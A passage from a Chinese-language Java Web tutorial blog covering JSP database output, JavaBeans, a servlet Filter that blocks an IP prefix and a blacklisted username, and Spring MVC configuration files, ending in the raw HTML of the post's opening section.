String col3 = rs.getString(3);
float col4 = rs.getFloat(4);

//打印所显示的数据
out.println("<tr><td>"+col1+"</td><td>"+col2+"</td><td>"+col3+"</td><td>"+col4+"</td></tr>");
}

out.println("</table>");

//删除新增加的记录
stmt.executeUpdate("delete from BOOKS where ID='999'");

//关闭结果集、SQL声明、数据库连接
rs.close();
stmt.close();
con.close();
}catch (Exception e) {out.println(e.getMessage());e.printStackTrace();}

%>
</body>
</html>

5 JavaBean

JavaBean 是特殊的 Java 类,使用 Java 语言书写,并且遵守 JavaBean API 规范,是一种可重复使用、且跨平台的软件组件。

  • 提供一个默认的无参构造函数。
  • 需要被序列化并且实现了 Serializable 接口。
  • 可能有一系列可读写属性。
  • 可能有一系列的 getter 或 setter 方法。

JavaBean 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package mypack;

public class StudentsBean implements java.io.Serializable
{
private String firstName = null;
private String lastName = null;
private int age = 0;

public StudentsBean() {
}
public String getFirstName(){
return firstName;
}
public String getLastName(){
return lastName;
}
public int getAge(){
return age;
}

public void setFirstName(String firstName){
this.firstName = firstName;
}
public void setLastName(String lastName){
this.lastName = lastName;
}
public void setAge(int age) {
this.age = age;
}
}

编译后的 .class 文件存放在 /WEB_INF/classes/mypack/

  1. 导入 JavaBean 类

要想访问,首先需要导入:<%@ page import="mypack.StudentsBean"%>

  1. 声明 JavaBean 对象

使用 <jsp:useBean> 来声明:<jsp:useBean id="myBean" class="mypack.StudentsBean" scope="session"/>

<jsp:useBean> 属性:

  • id: 命名引用该Bean的变量。如果能够找到id和scope相同的Bean实例,jsp:useBean动作将使用已有的Bean实例而不是创建新的实例。

  • class: 指定Bean的完整包名

  • scope: 指定Bean在哪种上下文内可用,可以取下面的四个值之一:page,request,session和application

    1
    2
    3
    4
    1. 默认值是page,表示该Bean只在当前页面内可用(保存在当前页面的PageContext内)。 
    2. request表示该Bean在当前的客户请求内有效(保存在ServletRequest对象内)。
    3. session表示该Bean对当前HttpSession内的所有页面都有效。
    4. application则表示该Bean对所有具有相同ServletContext的页面都有效。
  • type: 指定引用该对象的变量的类型,它必须是Bean类的名字、超类名字、该类所实现的接口名字之一。请记住变量的名字是由id属性指定的。

    beanName: 指定Bean的名字。如果提供了type属性和beanName属性,允许省略class属性。

  1. 访问 JavaBean 属性

1)使用 <jsp:getProperty> 标签

1
<jsp:getProperty name="myBean" property="count" />

2)Java表达式

1
<%=myBean.getCount() %>

3)EL 表达式

1
${myBean.count}

给 JavaBean 属性赋值:

1
2
3
<jsp:setProperty name="myBean" property="count" value="1"/>

<% myBean.setCount(1);%>

6 Filter

javax.servlet.FilterServlet2.3新增的一个特性,主要用于过滤URL请求,通过Filter我们可以实现URL请求资源权限验证、用户登陆检测等功能。

Filter是一个接口,实现一个Filter只需要重写initdoFilterdestroy方法即可,其中过滤逻辑都在doFilter方法中实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package mypack;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;

/*

@WebFilter( //用@WebFilter标注配置NoteFilter
filterName = "NoteFilter",
urlPatterns = "/note",
initParams = {
@WebInitParam(name = "ipblock", value = "221.45"),
@WebInitParam(name = "blacklist", value = "捣蛋鬼")}
)
*/

public class NoteFilter implements Filter {
private FilterConfig config = null;
private String blackList=null;
private String ipblock=null;

public void init(FilterConfig config) throws ServletException {
System.out.println("NoteFilter: init()");
this.config = config;

//读取拒绝IP地址
ipblock=config.getInitParameter("ipblock");

//读取blacklist初始化参数
blackList=config.getInitParameter("blacklist");
}

public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {

System.out.println("NoteFilter: doFilter()");

if(!checkRemoteIP(request,response))return;

if(!checkUsername(request,response))return;

//记录响应客户请求前的时间
long before = System.currentTimeMillis();
config.getServletContext().log("NoteFilter:before call chain.doFilter()");

//把请求转发给后续的过滤器或者Web组件
chain.doFilter(request, response);

//记录响应客户请求后的时间
config.getServletContext().log("NoteFilter:after call chain.doFilter()");
long after = System.currentTimeMillis();

String name = "";
if (request instanceof HttpServletRequest) {
name = ((HttpServletRequest)request).getRequestURI();
}
//记录响应客户请求所花的时间
config.getServletContext().log("NoteFilter:"+name + ": " + (after - before) + "ms");
}

private boolean checkRemoteIP(ServletRequest request, ServletResponse response)
throws IOException, ServletException {
//读取客户的IP地址
String addr=request.getRemoteAddr();
if(addr.indexOf(ipblock)==0){
response.setContentType("text/html;charset=GB2312");
PrintWriter out = response.getWriter();
out.println("<h1>对不起,服务器无法为你提供服务。</h1>");
out.flush();
return false;
}else{
return true;
}
}

private boolean checkUsername(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

String username =((HttpServletRequest) request).getParameter("username");
if(username!=null)
username=new String(username.getBytes("ISO-8859-1"),"GB2312");

if (username!=null && username.indexOf(blackList) != -1 ) {
//生成拒绝用户留言的网页
response.setContentType("text/html;charset=GB2312");
PrintWriter out = response.getWriter();
out.println("<h1>对不起,"+username + ",你没有权限留言 </h1>");
out.flush();
return false;
}else{
return true;
}

}
public void destroy() {
System.out.println("NoteFilter: destroy()");
config = null;
}

}

Filter的配置类似于Servlet,由<filter><filter-mapping>两组标签组成,如果Servlet版本大于3.0同样可以使用注解的方式配置Filter

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<filter> 
<filter-name>NoteFilter</filter-name>
<filter-class>mypack.NoteFilter</filter-class>

<init-param>
<param-name>ipblock</param-name>
<param-value>221.45</param-value>
</init-param>

<init-param>
<param-name>blacklist</param-name>
<param-value>捣蛋鬼</param-value>
</init-param>
</filter>

使用 @WebFilter 标注

1
2
3
4
5
6
7
8
@WebFilter( //用@WebFilter标注配置NoteFilter
filterName = "NoteFilter",
urlPatterns = "/note",
initParams = {
@WebInitParam(name = "ipblock", value = "221.45"),
@WebInitParam(name = "blacklist", value = "捣蛋鬼")}
)
public class NoteFilter implements Filter {

Filter和Servlet的总结:https://javasec.org/javaweb/Filter&Servlet/

7 序列化

8 XML

9 MVC 设计模式

spring MVC 工作流程

  1. 用户向服务端发送一次请求,这个请求会先到前端控制器DispatcherServlet(也叫中央控制器)。
  2. DispatcherServlet接收到请求后会调用HandlerMapping处理器映射器。由此得知,该请求该由哪个Controller来处理(并未调用Controller,只是得知)
  3. DispatcherServlet调用HandlerAdapter处理器适配器,告诉处理器适配器应该要去执行哪个Controller
  4. HandlerAdapter处理器适配器去执行Controller并得到ModelAndView(数据和视图),并层层返回给DispatcherServlet
  5. DispatcherServlet将ModelAndView交给ViewReslover视图解析器解析,然后返回真正的视图。
  6. DispatcherServlet将模型数据填充到视图中
  7. DispatcherServlet将结果响应给用户

lib 文件夹中必须包含 Spring 软件包的依赖

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0" >

<display-name>Spring MVC Sample</display-name>

<servlet>
<servlet-name>HelloWeb</servlet-name>
<servlet-class>
org.springframework.web.servlet.DispatcherServlet
</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>HelloWeb</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>

为 DispatcherServlet 映射的URL为”/“,所有访问应用的用户都会由 DispatcherServlet 来预处理,然后再由它转发给后续组件。为 DispatcherServlet 设置的 Servlet 名字为 “HelloWeb”,即必须为 Spring MVC 提供一个名为 HelloWeb-servlet.xml 的配置文件。

HelloWeb-servlet.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<beans xmlns = "http://www.springframework.org/schema/beans"
xmlns:context = "http://www.springframework.org/schema/context"
xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation = "http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context-3.0.xsd">

<context:component-scan base-package = "mypack" />

<bean class = "org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name = "prefix" value = "/WEB-INF/jsp/" />
<property name = "suffix" value = ".jsp" />
</bean>

</beans>

指定解析视图组件的为 InternalResourceViewResolver ,prefix 和 suffix 属性分别设定了视图文件的前缀和后缀。

参考

]]>
<h2 id="1-Java-Web-目录结构"><a href="#1-Java-Web-目录结构" class="headerlink" title="1 Java Web 目录结构"></a>1 Java Web 目录结构</h2><p><img src="/2020/08/23/Java_02/20200816173242.png" alt="image-20200816173234356"></p> <table> <thead> <tr> <th align="center">目录</th> <th align="center">描述</th> </tr> </thead> <tbody><tr> <td align="center">/test1_war_exploded</td> <td align="center">Web应用根目录,存储 jsp 或 html 文件</td> </tr> <tr> <td align="center">/test1_war_exploded/WEB-INF</td> <td align="center">存放配置文件,不能直接访问</td> </tr> <tr> <td align="center">/test1_war_exploded/WEB-INF/classes</td> <td align="center">存放编译后的 class 文件</td> </tr> <tr> <td align="center">/test1_war_exploded/WEB-INF/lib</td> <td align="center">存放所需 jar 文件,如 JDBC 驱动的 jar 文件</td> </tr> </tbody></table> <p>web.xml:servlet 、servlet mapping 以及其他配置</p> <p>编译 servlet 命令:</p> <figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javac -sourcepath src -classpath D:\soft\server\apache-tomcat-9.0.37\lib\servlet-api.jar -d WEB-INF\classes src\mypack\DispatcherServlet.java</span><br></pre></td></tr></table></figure>